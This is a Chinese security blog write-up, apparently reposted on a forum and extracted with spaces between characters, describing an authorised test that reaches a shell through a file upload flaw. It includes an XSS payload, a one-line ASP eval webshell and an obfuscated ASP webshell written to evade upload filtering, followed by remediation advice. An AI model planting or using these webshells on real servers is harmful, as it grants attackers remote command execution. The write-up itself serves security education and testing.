搜索

[27012] 2020-06-10_记一次有意思的文件上传

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2020-06-10_记一次有意思的文件上传 记 一 次 有 意 思 的 文 件 上 传 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 6 - 1 0 收 录 于 话 题   # S R S P   T e a m   , 1 7 个 本 文 作 者 ： 某 小 六   ( M s 0 8 0 6 7 安 全 实 验 室 S R S P   T E A M ) 有 意 思 的 文 件 上 传 有 意 思 的 文 件 上 传 开 始 开 始 0 x 0 1 文 件 上 传 漏 洞 的 概 念 文 件 上 传 漏 洞 的 概 念 由 于 站 点 对 上 传 文 件 未 作 过 滤 或 过 滤 机 制 不 严 （ 文 件 后 缀 或 类 型 ） ， 导 致 恶 意 用 户 可 以 上 传 脚 本 文 件 ， 通 过 上 传 文 件 可 达 到 控 制 网 站 权 限 的 目 的 。 0 x 0 2   G e t s h e l l 之 路 之 路 1 . 寻 找 漏 洞 寻 找 漏 洞 打 开 授 权 测 试 网 站 ， 发 现 页 面 功 能 单 一 （ 登 记 、 查 询 ） ， 登 记 处 存 在 存 储 型 x s s p a y l o a d ： < s v g / o n l o a d   =   a l e r t ( 1 ) ; >
当 页 面 所 有 的 功 能 模 块 测 试 完 之 后 ， 我 们 可 以 扫 目 录 、 扫 端 口 2 . 御 剑 梭 哈 御 剑 梭 哈 ① . 扫 目 录 ， 线 程 过 高 、 i p 被 b a n … ② . 使 用 御 剑 扫 描 端 口 ， 发 现 此 站 点 开 放 了 许 多 端 口 （ 此 工 具 适 用 于 快 速 发 现 目 标 i p 是 否 开 放 了 很 多 端 口 ， 像 下 图 这 种 情 况 ， 建 议 拿 n m a p 进 行 端 口 扫 描 ， 来 发 现 更 多 开 放 的 端 口 ） （ 真 实 i p ， 未 做 C D N ） n m a p 扫 描 的 结 果
盲 猜 s s h 口 令 爆 破 不 出 来 （ 超 级 弱 口 令 爆 破 工 具 （ 自 带 字 典 ） … 3 . 测 试 目 的 测 试 目 的 i p 其 他 端 口 其 他 端 口 ① . 打 开   x x . x x . x x . x x : 8 0 8 8   首 页 长 这 个 样 子 ， 啥 也 没 有 ② . 点 击 左 上 角 登 录 按 钮 ， 跳 转 到 用 户 登 录 页 面 ， 测 试 a d m i n / a d m i n   a d m i n / 1 2 3 4 5 6   （ 猜 想 ： 用 户 命 名 规 则 、 密 码 组 成 规 则 ）
③ . 通 过 查 看 网 页 源 代 码 ， 查 看 相 关 j s 文 件 ， 得 到 修 改 密 码 的 u r l 填 写 表 单 并 提 交 ， 提 示 如 下 信 息 ， 放 弃 爆 破 弱 口 令 … ④ . 手 动 创 建 一 个 账 号 【 狗 头 】
然 后 登 录 ⑤ . 找 到 上 传 点 ， 测 试 文 件 上 传 ⑥ . 服 务 器 对 上 传 内 容 有 过 滤 （ 发 现 相 关 恶 意 代 码 ， 直 接 拦 截 ） ， 如 果 直 接 上 传 a s p   一 句 话 木 马 （ < % e v a l r e q u e s t ( " c m d " ) % > ） ， 会 被 弃 包 ， g o 不 过 去 所 以 这 里 使 用 加 密 的 w e b s h e l l （ 代 码 来 源 百 度 ， 现 用 现 搜 ） < % F u n c t i o n   M o r f i C o d e r ( C o d e )
上 传 成 功 ⑦ . 使 用 蚁 剑 连 接 （ p s ： 或 者 直 接 上 传 冰 蝎 自 带 的 a s p 马 ） 0 x 0 3   漏 洞 危 害 漏 洞 危 害 & & 修 复 修 复 ① . 漏 洞 危 害 （ 1 ） 攻 击 者 可 通 过 此 漏 洞 上 传 恶 意 脚 本 文 件 ， 对 服 务 器 的 正 常 运 行 造 成 安 全 威 胁 ； （ 2 ） 攻 击 者 可 上 传 可 执 行 的 W e b S h e l l （ 如 p h p 、 j s p 、 a s p 类 型 的 木 马 病 毒 ） ， 或 者 利 用 目 录 跳 转 上 传 g i f 、 h t m l 、 c o n f i g 文 件 ， 覆 盖 原 有 的 系 统 文 件 ， 到 达 获 取 系 统 权 限 的 目 的 。 ② . 修 复 建 议 （ 1 ） 对 上 传 文 件 格 式 进 行 严 格 校 验 及 安 全 扫 描 ， 防 止 上 传 恶 意 脚 本 文 件 ；   （ 2 ） 设 置 权 限 限 制 ， 禁 止 上 传 目 录 的 执 行 权 限 ；   （ 3 ） 严 格 限 制 可 上 传 的 文 件 类 型 ；   （ 4 ） 严 格 限 制 上 传 的 文 件 路 径 。   （ 5 ） 文 件 扩 展 名 服 务 端 白 名 单 校 验 。   （ 6 ） 文 件 内 容 服 务 端 校 验 。   （ 7 ） 上 传 文 件 重 命 名 。   （ 8 ） 隐 藏 上 传 文 件 路 径 。 M o r f i C o d e r = R e p l a c e ( R e p l a c e ( S t r R e v e r s e ( C o d e ) , " / * / " , " " " " ) , " * " , v b C r l f ) E n d   F u n c t i o n E x e c u t e   M o r f i C o d e r ( " ) / * / z / * / ( t s e u q e r   l a v e " ) % >
扫 描 下 方 二 维 码 加 入 扫 描 下 方 二 维 码 加 入 W e b 安 全 攻 防 安 全 攻 防 星 球 学 习 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 目 前 目 前 2 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理